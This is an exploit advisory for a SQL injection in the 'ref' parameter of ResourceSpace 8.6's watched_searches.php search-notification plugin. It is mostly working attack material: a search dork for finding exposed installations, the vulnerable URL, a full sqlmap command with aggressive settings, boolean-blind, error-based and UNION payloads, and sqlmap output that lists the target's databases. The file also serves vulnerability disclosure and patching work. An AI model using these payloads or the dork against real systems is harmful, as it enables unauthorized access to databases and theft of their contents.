ResourceSpace 8.6 - 'watched_searches.php' SQL Injection

# Exploit Title: ResourceSpace <=8.6 'watched_searches.php' SQL Injection
# Dork: intext:"Powered by ResourceSpace"
# Date: 2019-02-01
# Exploit Author: dd_ (info@malicious.group)
# Vendor Homepage: https://www.resourcespace.com/
# Software Link: https://www.resourcespace.com/get
# Version: Stable release: 8.6 (Minor: 12603)
# Tested on: PHP/MySQL (PHP 7.2 / MySQL 5.7.25-0ubuntu0.18.04.2-log)
# Research IRC: irc.blackcatz.org #blackcatz
# Vendor Banner: ResourceSpace open source digital asset management software is the simple, fast, & free way to organise your digital assets.


# POC:
# 1)
# http://resourcespace.local/plugins/rse_search_notifications/pages/watched_searches.php?offset=0&callback=checknow&ref=[SQL]&ajax=true&_=1548992497510



# Example:
#
[notroot@malicious ~]$ sqlmap -u 'http://resourcespace.local:80/plugins/rse_search_notifications/pages/watched_searches.php?offset=0&callback=checknow&ref=2'\''&ajax=true&_=1548992497510' --cookie='cookiecheck=true;language=en-US;user=d170aee58aadb30833490bc38aecc85b;thumbs=show;saved_col_order_by=created;saved_col_sort=ASC;per_page_list=15;saved_find=some;display=thumbs;saved_offset=0;per_page=48;saved_sort=DESC;restypes=1%2C2%2C3%2C4' --dbms=mysql --level=5 --risk=3 --technique=BEUST -p ref --dbs



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:27:03 /2019-02-01/

[15:27:03] [WARNING] it appears that you have provided tainted parameter values ('ref=2'') with most likely leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[15:27:03] [INFO] testing connection to the target URL
[15:27:03] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ref (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: offset=0&callback=checknow&ref=2' AND 6321=6321# YBHT&ajax=true&_=1548992497510

    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: offset=0&callback=checknow&ref=-5346 OR 1 GROUP BY CONCAT(0x716b6a6271,(SELECT (CASE WHEN (9852=9852) THEN 1 ELSE 0 END)),0x716b627671,FLOOR(RAND(0)*2)) HAVING MIN(0)#&ajax=true&_=1548992497510

    Type: UNION query
    Title: Generic UNION query (random number) - 12 columns
    Payload: offset=0&callback=checknow&ref=-5045 UNION ALL SELECT CONCAT(0x716b6a6271,0x676e72684e744a54485a747a4c5249684657485649744b416866756b7955614d646f636d457a7179,0x716b627671),6594,6594,6594,6594,6594,6594,6594,6594,6594,6594,6594-- ajba&ajax=true&_=1548992497510
---
[15:27:03] [INFO] testing MySQL
[15:27:04] [INFO] confirming MySQL
[15:27:04] [WARNING] reflective value(s) found and filtering out
[15:27:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.0
[15:27:04] [INFO] fetching database names
[15:27:04] [INFO] used SQL query returns 3 entries
[15:27:04] [INFO] resumed: 'information_schema'
[15:27:04] [INFO] resumed: 'mybb'
[15:27:04] [INFO] resumed: 'resourcespace'
available databases [3]:                                                                                                                                                                                         
[*] information_schema
[*] mybb
[*] resourcespace

[15:27:04] [INFO] fetched data logged to text files under '/home/notroot/.sqlmap/output/resourcespace.local'

[*] ending @ 15:27:04 /2019-02-01/